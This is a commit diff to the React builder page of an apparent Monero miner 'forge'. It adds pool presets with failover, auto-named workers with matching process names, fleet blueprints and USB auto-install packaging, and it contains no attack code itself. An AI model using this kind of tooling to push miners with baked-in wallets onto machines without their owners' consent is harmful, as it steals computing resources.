Add pool presets, operator bake-ins, and USB pack improvements
- Pool preset checkboxes with failover in Calibrate and Forge - Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt - USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
This commit is contained in:
@@ -5,7 +5,15 @@ import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { SETUP_CHEATSHEET, FIELD_HELP } from '../help/settingHelp';
|
||||
import { forgeDefaultsFromServerSmart, applySmartForgeDefaults, RECOMMENDED_DEFAULTS_BLURB } from '../help/forgeSmartDefaults';
|
||||
import {
|
||||
forgeDefaultsFromServerSmart,
|
||||
applySmartForgeDefaults,
|
||||
RECOMMENDED_DEFAULTS_BLURB,
|
||||
suggestWorkerName,
|
||||
processNameForWorker,
|
||||
} from '../help/forgeSmartDefaults';
|
||||
import { getSetupStatus } from '../help/setupStatus';
|
||||
import SetupBanner from '../components/SetupBanner';
|
||||
import { lanEndpointCandidates } from '../help/endpointHelpers';
|
||||
import { runForgePreflight, preflightHasErrors } from '../help/forgeValidation';
|
||||
import { previewInstallPath } from '../help/installPreview';
|
||||
@@ -21,6 +29,7 @@ import {
|
||||
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
|
||||
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
|
||||
import DownloadButton from '../components/DownloadButton';
|
||||
import PoolPresetPicker from '../components/PoolPresetPicker';
|
||||
import { useForge } from '../context/ForgeContext';
|
||||
import {
|
||||
fusionPayloadKind,
|
||||
@@ -121,7 +130,10 @@ export default function BuilderPage() {
|
||||
const cancelTokenRef = useRef<string>('');
|
||||
const [estimateError, setEstimateError] = useState('');
|
||||
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
|
||||
const [calibrateConfig, setCalibrateConfig] = useState<ServerConfig | null>(null);
|
||||
const [listenPort, setListenPort] = useState(8989);
|
||||
const [showBlueprintOffer, setShowBlueprintOffer] = useState(false);
|
||||
const forgedThisSessionRef = useRef(false);
|
||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||
|
||||
@@ -197,6 +209,7 @@ export default function BuilderPage() {
|
||||
useEffect(() => {
|
||||
Promise.all([api.getConfig(), api.getServerInfo(), api.listBuilds().catch(() => [])])
|
||||
.then(([config, info, builds]) => {
|
||||
setCalibrateConfig(config);
|
||||
setServerInfo(info);
|
||||
setListenPort(config.port || info.port || 8989);
|
||||
const candidates = lanEndpointCandidates(info, config.port || info.port);
|
||||
@@ -235,7 +248,40 @@ export default function BuilderPage() {
|
||||
setStage('Build complete!', 100);
|
||||
setLastBuild(result);
|
||||
loadRecentBuilds();
|
||||
// No auto-download — user downloads from the strip below or Build Manager page
|
||||
if (!forgedThisSessionRef.current) {
|
||||
forgedThisSessionRef.current = true;
|
||||
setShowBlueprintOffer(true);
|
||||
}
|
||||
};
|
||||
|
||||
const handleForgeNextWorker = () => {
|
||||
if (!form) return;
|
||||
const name = suggestWorkerName([
|
||||
...recentBuilds,
|
||||
{ worker_name: form.worker_name } as BuildRecord,
|
||||
]);
|
||||
setForm({
|
||||
...form,
|
||||
worker_name: name,
|
||||
process_name: processNameForWorker(name),
|
||||
});
|
||||
setLastBuild(null);
|
||||
setError('');
|
||||
};
|
||||
|
||||
const handleSaveFleetBlueprint = async () => {
|
||||
if (!form) return;
|
||||
const name = prompt('Save this setup as a fleet blueprint:', 'fleet-default');
|
||||
if (!name || !name.trim()) return;
|
||||
setBlueprintMsg('');
|
||||
try {
|
||||
const result = await api.saveBlueprint(name.trim(), form);
|
||||
setBlueprintMsg(`✅ Blueprint "${result.name}" saved`);
|
||||
setShowBlueprintOffer(false);
|
||||
setTimeout(() => setBlueprintMsg(''), 4000);
|
||||
} catch (err: unknown) {
|
||||
setBlueprintMsg(`❌ Failed to save: ${err instanceof Error ? err.message : String(err)}`);
|
||||
}
|
||||
};
|
||||
|
||||
// Blueprint: save current form as a named blueprint
|
||||
@@ -696,9 +742,11 @@ export default function BuilderPage() {
|
||||
});
|
||||
|
||||
const endpointCandidates = serverInfo ? lanEndpointCandidates(serverInfo, listenPort) : [];
|
||||
const setupStatus = getSetupStatus(calibrateConfig);
|
||||
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<SetupBanner status={setupStatus} />
|
||||
{/* Hidden file input for importing blueprint .json files */}
|
||||
<input
|
||||
type="file"
|
||||
@@ -915,10 +963,11 @@ export default function BuilderPage() {
|
||||
/>
|
||||
<div className="form-group">
|
||||
<div className="label-row">
|
||||
<label className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<label htmlFor="forge-worker-name" className="label">Worker Name <HelpTip field="worker_name" /></label>
|
||||
<ForgeFieldBadge meta={fieldMeta.worker_name} />
|
||||
</div>
|
||||
<input
|
||||
id="forge-worker-name"
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="e.g. office-pc-1 (letters, numbers, dash, dot)"
|
||||
@@ -1035,6 +1084,39 @@ export default function BuilderPage() {
|
||||
<FieldHint field="wallet" />
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Mining Pools"
|
||||
badge="baked"
|
||||
description="Wallet-only Monero pools — baked into the worker. Unreachable pools are skipped in order."
|
||||
/>
|
||||
<PoolPresetPicker
|
||||
host={form.pool_host}
|
||||
port={form.pool_port}
|
||||
tls={form.pool_tls}
|
||||
pass={form.pool_pass || 'x'}
|
||||
backups={form.backup_pools}
|
||||
showManualFields={!simpleMode}
|
||||
onChange={(next) => {
|
||||
updateField('pool_host', next.pool_host);
|
||||
updateField('pool_port', next.pool_port);
|
||||
updateField('pool_tls', next.pool_tls);
|
||||
updateField('backup_pools', next.backup_pools);
|
||||
}}
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code>.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Deliverable"
|
||||
@@ -1156,119 +1238,6 @@ export default function BuilderPage() {
|
||||
|
||||
{!simpleMode && (
|
||||
<>
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Pool Configuration"
|
||||
badge="baked"
|
||||
description="This miner's pool connection — host, port, TLS, and password are baked into the worker."
|
||||
/>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Host <HelpTip field="pool_host" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
value={form.pool_host}
|
||||
onChange={(e) => updateField('pool_host', e.target.value)}
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
<div className="form-row">
|
||||
<div className="form-group">
|
||||
<label className="label">Port <HelpTip field="pool_port" /></label>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={form.pool_port}
|
||||
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 1 && v <= 65535) updateField('pool_port', v); }}
|
||||
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 1 || v > 65535) updateField('pool_port', 3333); }}
|
||||
/>
|
||||
</div>
|
||||
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={form.pool_tls}
|
||||
onChange={(e) => updateField('pool_tls', e.target.checked)}
|
||||
/>
|
||||
<span>Use TLS/SSL <HelpTip field="pool_tls" /></span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Pool Password <HelpTip field="pool_pass" /></label>
|
||||
<input
|
||||
type="text"
|
||||
className="input"
|
||||
placeholder="x"
|
||||
value={form.pool_pass}
|
||||
onChange={(e) => updateField('pool_pass', e.target.value)}
|
||||
/>
|
||||
<p className="form-hint">Standard Monero pools use <code>x</code> — leave blank to use that default.</p>
|
||||
</div>
|
||||
|
||||
{/* ── Backup pools (advanced) ──────────────────────────────── */}
|
||||
{!simpleMode && (
|
||||
<div className="form-group">
|
||||
<label className="label">
|
||||
Backup Pools
|
||||
<span className="form-hint" style={{ marginLeft: '0.5rem' }}>
|
||||
(failover if the primary pool is unreachable)
|
||||
</span>
|
||||
</label>
|
||||
{(form.backup_pools ?? []).map((bp, i) => (
|
||||
<div key={i} style={{ display: 'flex', gap: '0.4rem', marginBottom: '0.4rem', flexWrap: 'wrap', alignItems: 'center' }}>
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="pool.supportxmr.com"
|
||||
style={{ flex: '3 1 140px' }}
|
||||
value={bp.host}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], host: e.target.value };
|
||||
updateField('backup_pools', pools);
|
||||
}}
|
||||
/>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
placeholder="3333"
|
||||
style={{ flex: '1 1 70px' }}
|
||||
min={1} max={65535}
|
||||
value={bp.port || ''}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], port: e.target.valueAsNumber || 3333 };
|
||||
updateField('backup_pools', pools);
|
||||
}}
|
||||
/>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.25rem', fontSize: '0.85rem', whiteSpace: 'nowrap' }}>
|
||||
<input type="checkbox" checked={!!bp.tls}
|
||||
onChange={(e) => {
|
||||
const pools = [...(form.backup_pools ?? [])];
|
||||
pools[i] = { ...pools[i], tls: e.target.checked };
|
||||
updateField('backup_pools', pools);
|
||||
}} />
|
||||
TLS
|
||||
</label>
|
||||
<button type="button" className="btn btn-outline" style={{ padding: '0 0.6rem' }}
|
||||
onClick={() => {
|
||||
const pools = (form.backup_pools ?? []).filter((_, idx) => idx !== i);
|
||||
updateField('backup_pools', pools);
|
||||
}}>✕</button>
|
||||
</div>
|
||||
))}
|
||||
<button type="button" className="btn btn-outline" style={{ fontSize: '0.8rem' }}
|
||||
onClick={() => updateField('backup_pools', [...(form.backup_pools ?? []), { host: '', port: 3333, tls: false }])}>
|
||||
+ Add backup pool
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="form-section">
|
||||
<ForgeSectionHeader
|
||||
title="Performance & Resources"
|
||||
@@ -2080,6 +2049,22 @@ export default function BuilderPage() {
|
||||
</DownloadButton>
|
||||
) : null
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={handleForgeNextWorker}
|
||||
>
|
||||
Forge next worker
|
||||
</button>
|
||||
{showBlueprintOffer && (
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
onClick={handleSaveFleetBlueprint}
|
||||
>
|
||||
Save as fleet blueprint
|
||||
</button>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
|
||||
Reference in New Issue
Block a user